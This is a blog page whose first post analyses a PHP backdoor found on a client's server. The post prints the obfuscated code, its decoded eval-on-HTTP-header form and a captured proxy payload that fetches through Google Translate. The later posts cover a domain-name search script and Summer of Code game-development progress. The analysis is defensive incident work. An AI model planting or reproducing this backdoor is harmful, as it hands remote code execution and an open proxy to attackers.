July 13th, 2010
Having experienced some ‘weird’ traffic the other day, a client contacted me regarding this problem. One of the datacenters we deal with contacted my client and sent him the following logs from an attack that seems to occured from his server:
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:03 +0000] "GET /old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /cms/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:04 +0000] "GET /wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /wp-login.php HTTP/1.1" 404 2538 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:05 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2537 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog_old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:06 +0000] "GET /blog-old/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
access.log:xxx.xxx.xxx.xxx - - [01/Jul/2010:12:15:07 +0000] "GET /blog/wp/wp-login.php HTTP/1.1" 404 2533 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)
Obviously, the IPs have been removed to protect the innocent. What we can see from this log output is that there is an obvious scan of hackable WordPress installations happening — and they look to come from our server.
After some further inspection of the server, it looks as if an ‘attacker’ uploaded a PHP file to their account and was now using it to scour the internet for hackable WordPress installs. A remote machine would send requests to a group of servers hosting this PHP file:
$_fcxxxcc="\x70\x72\x65\x67\x5f\x72\x65\x70\x6c\x61\x63\x65";
$_fcxxxcc("\x7c\x2e\x7c\x65","\x65\x76\x61\x6c\x28\x27\x65\x76\x61\x6c\x28\x62\x61\x73\x65\x36\x34\x5f\x64\x65\x63\x6f\x64\x65\x28\x22aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7\x22\x29\x29\x3b\x27\x29",'.');I have to give it to them, at least they obfuscated the code. It took a while before I realized the extent of their hidden code. Unobfuscating this file gives us:
$_fcxxxcc="preg_replace";
preg_replace("|.|e","eval('eval(base64_decode("aWYobWQ1KCRfU0VSVkVSWydIVFRQX1FVT1RFJ10pPT0nZTY2ZTZjYWRkNmUxM2VmZWE1NGVkNTBjMGViMmQzMmInIGFuZCBpc3NldCgkX1NFUlZFUlsnSFRUUF9YX0NPREUnXSkpIEBldmFsKEBiYXNlNjRfZGVjb2RlKHN0cnJldihAJF9TRVJWRVJbJ0hUVFBfWF9DT0RFJ10pKSk7"));')",'.')Base 64 decoding this string gives us:
if(md5($_SERVER['HTTP_QUOTE'])=='e66e6cadd6e13efea54ed50c0eb2d32b' and isset($_SERVER['HTTP_X_CODE']))
@eval(@base64_decode(strrev(@$_SERVER['HTTP_X_CODE'])));Finally, we’re getting somewhere!
Brief inspection of this code shows that the attackers are sending a payload which gets interpreted by the local system. But, what kind of payload are they sending to their script? Since this file was being called quite periodically, dumping the information to a text file gives us all of the information we are looking for. After a day, I came back to check on the script to find payload that looks like this (decoding and comments by me):
header("X_GZIP: TRUE");
header("X_MD5: 8b72825b0b211b07f8378013cbfb0d17");
error_reporting(E_ALL); ini_set("display_errors",1); $cr=curl_init();
curl_setopt($cr, 13, unserialize(base64_decode("aToxNTs="))); // i:15;
curl_setopt($cr, 19913, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 42, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 53, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 52, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 19914, unserialize(base64_decode("czoxOiIxIjs="))); // s:1:"1";
curl_setopt($cr, 64, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 81, unserialize(base64_decode("czoxOiIwIjs="))); // s:1:"1";
curl_setopt($cr, 10023, unserialize(base64_decode("YTo5OntpOjA7czoxMToiQWNjZXB0OiAqLyoiO2k6MTtzOjIyOiJBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzIjtpOjI7czoyMjoiQ29ubmVjdGlvbjoga2VlcC1hbGl2ZSI7aTozO3M6MTIwOiJVc2VyLUFnZW50OiBNb3ppbGxhLzQuMCAoY29tcGF0aWJsZTsgTVNJRSA3LjA7IFdpbmRvd3MgTlQgNS4xOyBBVCZUIENTTTcuMDsgWVBDIDMuMi4wOyAuTkVUIENMUiAxLjEuNDMyMjsgeXBsdXMgNS4xLjA0YikiO2k6NDtzOjg6IkV4cGVjdDogIjtpOjU7czoxNzoiQWNjZXB0LUVuY29kaW5nOiAiO2k6NjtzOjE1OiJLZWVwLUFsaXZlOiAxMTUiO2k6NztzOjg6IkNvb2tpZTogIjtpOjg7czoxNDk6IlJlZmVyZXI6IGh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjt9")));
/* a:9:{i:0;s:11:"Accept: */*";i:1;s:22:"Accept-Language: en-us";i:2;s:22:"Connection: keep-alive";i:3;s:120:"User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)";i:4;s:8:"Expect: ";i:5;s:17:"Accept-Encoding: ";i:6;s:15:"Keep-Alive: 115";i:7;s:8:"Cookie: ";i:8;s:149:"Referer: http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";} */
curl_setopt($cr, 10102, unserialize(base64_decode("czowOiIiOw=="))); // s:0:"";
curl_setopt($cr, 47, unserialize(base64_decode("aTowOw=="))); // i:0;
curl_setopt($cr, 10002, unserialize(base64_decode("czoxNDA6Imh0dHA6Ly90cmFuc2xhdGUuZ29vZ2xlLmNvbS90cmFuc2xhdGU/aGw9ZW4mc2w9ZW4mdGw9ZnImdT1odHRwJTNBJTJGJTJGODkuMTQ5LjI0Mi4xMjIlMkZkYXRhJTJGMjk1NjA5M185M2NmODdjNGM1NGFlNjVjNjc0ZTlkOWJjOTQ3NjU3OS5odG1sIjs=")));
// s:140:"http://translate.google.com/translate?hl=en&sl=en&tl=fr&u=http%3A%2F%2F89.149.242.122%2Fdata%2F2956093_93cf87c4c54ae65c674e9d9bc9476579.html";
$response=curl_exec($cr);
$md5_error=md5("error");$md5_content=md5("content");$md5_info=md5("info");
if(is_bool($response) and $response == false) {
echo "<$md5_error>".curl_errno($cr)."|".curl_error($cr)."";
exit;
}
echo "<$md5_info>".serialize(curl_getinfo($cr))."";
if(function_exists("gzdeflate") and base64_encode(gzdeflate(md5("time"),9))=="MzBPTjazNEmyTDJOSzYzNjM3NEhLNLBIMrM0Mko2MUoCAA=="){
$response="GZIP|".base64_encode(gzdeflate($response,9));
}
echo "<$md5_content>$response";
exit;The definition of the curl_setopt call is as follows:
bool curl_setopt ( resource $ch , int $option , mixed $value )
Let’s break down all of the Curl options we are setting here. Even the curl_setopt calls are obfuscated in the xcode that we receive, using the integer value instead of the constants:
- Option 13 (CURLOPT_TIMEOUT => 15): Sets the timeout for the Curl request to 15 seconds.
- Option 19913 (CURLOPT_RETURNTRANSFER => “1″): Returns the value of curl_exec as a string.
- Option 42 (CURLOPT_HEADER => “1″): Includes the header in the output.
- Option 53 (CURLOPT_TRANSFERTEXT => “1″): Uses ASCII mode for FTP transfers.
- Option 52 (CURLOPT_FOLLOWLOCATION => 0): Does not follow ‘Location:’ header fields.
- Option 19914 (CURLOPT_BINARYTRANSFER => “1″): Returns raw output in conjunction with option 19913 (CURLOPT_RETURNTRANSFER)
- Option 64 (CURLOPT_SSL_VERIFYPEER => “1″): Verifies the site’s SSL certificate to be valid.
- Option 81 (CURLOPT_SSL_VERIFYHOST => “1″): Verifies the correct SSL hostname for the certificate.
- Option 10023 (CURLOPT_HTTPHEADER): Sets the HTTP header sent as follows:
- “Accept: */*”: Specifies that all media is acceptable for response from the HTTP request
- “Accept-Language: en-us”: Specifies that we are looking for an English return.
- “Connection: keep-alive”: Specifies that we want a persistent connection (multiple responses/downloads in one thread of the server essentially).
- “User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; AT&T CSM7.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.04b)”: A bogus user agent
- “Expect: “: Indicates that no behavior is required by the client.
- “Accept-Encoding: “: Indicates that we accept all encoding.
- “Keep Alive: 115″: Sets a keep-alive timeout of 115.
- “Referer: <cut for clarity: see in source above>”: Sets a seemingly bogus referer, although this may be legit in some cases.
- Option 10102 (CURLOPT_ENCODING => “”): If this is set to “”, a header that accepts all “Accept Encoding” header values is sent.
- Option 47 (CURLOPT_POST => 0): We are not doing a HTTP post.
- Option 10002 (CURLOPT_URL): Sets the URL to fetch.
If you would like to see a mapping of integer=>constant name for the curl curl options in PHP, you can find that here.
It looks like in this case, the attacker was using Google Translate to fetch a website and translate it into another language. In this case, the payload of the attack is not as important as the implications of finding this file and the outcome it could have on your server and the users hosted on it.
I think the moral of the story here is to watch out for what your users may be uploading to your servers. This two line file essentially turned one of our machines into an open proxy server for whoever was privy to the URL of this script. It is better to be proactive in searching for these than it is to sit around and wait for a datacenter to give you a ring. Of course, you can’t always find them in time.
References and Attributions:
- PHP: curl_setopt
- RFC2616: Hypertext Transfer Protocol — HTTP/1.1
- Chomped computer image at the top of the article is from the Tango project, modified by slady. Licensed under the Creative Commons-BY-SA-2.5 License.
Tags: curl, hack, hacker, obfuscated, php, sysadmin
Posted in Coding and Research, System Administration | View Comments
June 4th, 2010
When I first read Andrew Badr‘s post on his tests with domain squatting^W speculation, I was immediately interested in the methods that he used. Having checked out multiple domain speculation websites in the past, I knew that there were some improvements to be had in the offerings that people put forth.
Coincidentally, I have been reading up on Python lately and have become pretty interested in the language. For my first script implementation, I decided to explore the 4,4 space in English word .com domains. I like this space because it is pretty common (facebook), and I believed that with so many possibilities there would be some great names available.
Andrew used a method that included some manual work, which I wanted to avoid. I quickly found an English dictionary online and used the grep pattern “^….$” which would work fine for my simple case. I ended up with 3903 4-letter English words. This space (3903^2) was far too large to start sending queries out, and also too large to manually edit. What to do?
I quickly decided that trends on each word was the way to go, and obtained some statistics on how common each word was. After inserting each word and it’s relevance into a simple MySQL table, I was ready to begin hammering away to see what was available for registration.
Once I had this data, I stored a reference to each word and the combined relevance of the prefix and suffix in another table of the database. According to my heuristics, I had the list of the most relevant domains with 2 four character words possible.
The results are pretty interesting, with many (what I would consider) top-term .com domains available. Here are some of my favorites quickly off of the file (inb4registration):
- thisholy.com
- thatecho.com
- homehide.com
- homemeet.com
- havethem.com
Can we do better? Like Andrew, I also stored a counter for each time a 4-letter word was either a prefix or a suffix. Tomorrow I will try using this information as a factor to my current heuristics. I think the most major improvement possible would be to distribute these requests over a few different boxes (it’s definitely MapReduceable). If you have any methods for improvement, I would like to hear them as well. Leave a note in the comments section.
If there’s any interest, I will post my full list (it’s hosted on my home computer). There are massive possibilities to explore the 3,4 space and 4,3 space, I would love to hear from you if you begin your exploration in these spaces.
Posted in Coding and Research | View Comments
August 23rd, 2009
It looks as if all features have been implemented in MTSec. Since my last post I have done some cleaning up of the code, and it is much more presentable now.
All features are currently supported, this includes:
- Building Ships
- Building Weapons
- Production Capability
- Enhancement of Production Points
- Sending of Production Points to Another Planet
- Merging Fleets, Splitting Fleets
- Colonising a Planet
- Loading / Unloading of Armaments
- Combat
For a more detailed description of each feature, you can visit the MTSec Wiki. I will still be keeping up with MTSec development post-GSoC period and hope to iron out any bugs that have been found. For example today I found that Aaron’s compiler was giving no newline errors, but mine was not. With a simple bash for loop, this has been fixed and committed.
Testing each feature is pretty self explanitory but I will go over a test scenario:
- On the first turn, the “Build Fleet” order is a good one to try. You can either use the design window in the TP04 client or use one of the predefined designs.
- On the second turn, it is useful to build some sort of weapon. As with the build ships order, you can either pick from a predefined design or create your own. Right now I have the mining requirements off so that we can test a bit easier. You can create more than one weapon here which will be useful for testing. Please note that you can only Design Weaponry using the TP04 pywx client (make sure you select the Weapons Category!)
- Now that you have (a) fleet(s), and weaponry, it is useful to use the “Load Armament” order here to load the weaponry onto your ship.
- Move to another planet.
- Colonise the planet you moved to.
- Unload some weaponry here.
- Here you can test the enhance order.
- Test the “Send Points” order by sending some of your production points to another planet.
- Move towards another player’s planet/fleet. This will initiate Combat
- Success.
If you find any problems in this test scenario, please notify me immediately. Please note that some of the features above require Greywhind’s TP04 pywx client. My mentor Aaron and I will be playing some test games over the next week, and I’m sure we will uncover some things that I will need to fix.
That’s about it for MTSec, hopefully we can get it pushed into the master branch and make it the default game of Thousand Parsec soon!
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
August 11th, 2009
This Week:
Back in Canada and rocking it. I have completed the first version of the MTSec combat engine. It supports fleet-to-fleet and fleet-to-planet combat. When you take over a planet, shouldn’t you gain control of it without having to colonise it? That’s a question I will be deciding soon, I think that it may be beneficial to let the winning fleet take over the planet!
Next Week:
So, I guess this is almost it with about a week left. I hope to clean up the code base pretty quickly and then dive back into more MTSec ruleset-based stuff. I would prefer to work more on the ruleset than cleaning up and documentation — but of course these components are greatly needed as well! Lee mentioned that I should have used battlexml for the combat, I definitely need to look into this more — unfortunately it will probably happen after the GSoC period. I have to say, I played a few rounds of MTSec and it is a lot more fun than minisec so far. I hope that after a good cleanup (and likely some bug fixes) we can get this thing commited to master!
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
August 5th, 2009
This Week:
This week was a bit of an off-one for me. I was in the United States and due to a form that I signed with Google, I was unable to work on the project during this time for tax reasons. I am back in Canada now and ready to finish off my work on Thousand Parsec.
Next Week:
I have 6 working days until the pencil down date and I plan to work on the combat portion of the MTSec ruleset. If I put in full-time days during this period I do believe that it is still possible to complete the task at hand by the due date. I really want to adhere to the pencil-down date as the MTSec code does need a good cleanup.
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
July 28th, 2009
This Week:
This week I finally got all of the extra orders sorted out. During my testing phase I have not actually been removing the resources needed to make the missiles and torpedoes, but adding this will not be a problem at all. I’m leaving it out now because it is a pain in my ass and makes my testing phases take longer. We can now create a missile/torpedoe from a design and load and unload it from a ship/planet. The economy seems to be going pretty well in my testing and looks like it’s according to the MTSec spec.
Next Week:
In this next week I will be focusing on the combat aspects of MTSec. Since this will make or break the ruleset, it is of utmost importance that everything works correctly. There is already an AVACombat class which I will be furthering until it is completed according to spec. I will need to work on this quite a bit to get everything working by the GSoC pencil-down date of August 10th, which is about a week and a half away.
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
July 21st, 2009
This Week:
In this past week I have implemented and fixed various parts of the economy. The SendPoints order now works as expected by using a Parameter (which apparently is supported with persistence) to add the one-time points. Still to do with this order is to scale back the points based on parsec distance, but I am leaving it at 100% throughput right now during my testing of the economy phase. I am still having a problem with implementing the design of missiles and torpedoes. A discussion I had with llnz put some of my problems to rest today and I plan to fix the issues in the next 24 hours. From here, this will leave my 3 weeks to work on the combat implementation of MTSec while still on track for the “Pencil Down Date”, which Aaron mention is a busy date and no programming should be planned during this time.
Next Week:
As soon as I finish the last problem that I have with the economy, I will be able to work on the combat implementation. In June, mithro mentioned that he would like to discuss the implementation and possible problems that I may have. I will try to meet him online to discuss this before I begin coding combat. Since I’m a night owl and mithro is on the other side of the world, getting ahold of him is not difficult. After completing the missile/torpedoe problem that I am having I will post my combat plan on this blog.
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
July 13th, 2009
This Week:
In the past week I have commited a Send Points order for the tpserver-cpp. I am a bit behind in that I need a working “Built Missile/Torpedoe” order. I expect it to be completed by Wednesday, hopefully sooner. After speaking with Lee it has been decide that my Send Points parameter needs to be changed to a list of a player’s owned planets. I found a great reference for this in the risk ruleset. This change isn’t a big deal and has been put onto my todo list. Also, I need to write some code that will account for production points in all orders — but I don’t think that this will be too hard.
Next Week:
My next deadline is August 9th and this requires combat to be fully featured. I will finish up all economy stuff this week and then proceed to combat. Mithro has told me that this will be the hardest part to debug, so I’m going to have to make sure that I have the economy stuff fully completed ASAP. I have taken some preliminary looks at the AVACombat class and it seems comprehensible so I think that I wont have too much of a problem with combat initially.
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
July 6th, 2009
This Week:
The deadline is almost here! This past week was quite a good one for me. While debugging an issue that I was having with the server I had to hit much of the tpserver-cpp code and I think that learning many of the underlying pieces of the server is a great thing for my ruleset development. llnz recently produced a patch that will fix some issues I have been having with the tpclRequirementsFunctions while building a design. This issue was a dealbreaker for me, so I am quite glad that it is now fixed. I will be merging tomorrow and will test these changes. On Sunday I committed a few changes that are pieces of the MTSec economy. Now, planets will add one Factory per turn that they are owned. Also, there is now an Enhance order to use Factories to build more Factories. Gameplay will dictate just how many points that will be required to produce a factory, but I have tentatively set this value to one Factory for every 10 factories used in a turn. I also added an order queue to the player’s home planet as I don’t think we can really progress in the game without it.
Next Four Days:
My midterm evaluation is in four days (10th), so I will be publishing another post on that day. Between now and tomorrow I plan to merge the stable branch changes into the mtsec branch. This will bring in tinyxml as well as the fix llnz has made for property values (setting them to 0). Once I have done this I will first have to ensure that the design window is functioning properly now that we don’t have Requirements Issues. Once this is done my Build Fleet order will allow MTSec to build the ships that have been designed by the player — a major part of this ruleset. By the deadline I should also have Torpedoe/Missile designs and building working as well. I had a good conversation with mithro about exactly how this is going to happen. Unfortunately I’m coming down with a nasty case of the flu, but this shouldn’t keep me away from the keyboard in the next few days.
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
June 29th, 2009
This Week:
The design windows are mostly working due to some Requirement Function tweaks this week. I am having one problem which is I cannot require a hull to be present for a Tube if the num-hulls property is not set already. Lee mentioned that I may be able to use a property value to fix this issue and we will discuss this further. I’ve added a new category for the weaponry that will be used in the ruleset (Missiles and Torpedoes). Today I also created a MTSec WIKI page on the Thousand Parsec Wiki. This week I had a rather great conversation in #tp about my GSoC project which can be read here. This conversation helped me greatly with the planning of my ruleset. Also, we have decided to push back Combat until my last deadline because it is one of the hardest parts of the design. Instead, for my July 10th deadline I will be making sure that Torpedoes and Missiles can be carried around in the system. Also, there will be a basic economy in this iteration. I have about 1.5 weeks to complete this and I think that I am on the right track.
One thing that will have to be decided is missile/torpedo speed. I have made missiles ridiculously fast, but so far I have capped the torpedoes at a speed of 50. Of course, these values are in an XML file so they will be easy to edit throughout the design of this ruleset.
Next Week:
My July 10th deadline is approaching rapidly and I must work on the ruleset at a fast pace this week. I will be working on building torpedoes and missiles this week. This will likely involve the creation of some orders in my ruleset. This week I am aiming mostly to have the missiles and torpedoes working and then move to working on the economy from there. For the combat, mithro has stated that he has some ideas that we can implement once I get to that point (last iteration).
Tags: GSoC, thousand parsec
Posted in GSoC | View Comments
LinkedIn
Twitter
Delicious